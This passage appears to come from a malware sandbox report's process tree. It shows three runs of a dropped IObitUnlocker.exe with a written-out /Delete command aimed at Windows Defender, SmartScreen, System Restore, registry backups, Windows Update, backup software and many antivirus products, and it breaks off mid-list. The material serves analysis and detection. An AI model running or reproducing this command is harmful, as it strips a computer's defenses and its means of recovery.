                                                              C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                                              5⤵
                                                              • Executes dropped EXE
                                                              • Loads dropped DLL
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              • Suspicious use of SetWindowsHookEx
                                                              PID:4272
                                                            • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                                              C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                                              5⤵
                                                              • Executes dropped EXE
                                                              • Loads dropped DLL
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              • Suspicious use of SetWindowsHookEx
                                                              PID:5076
                                                            • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                                              C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsof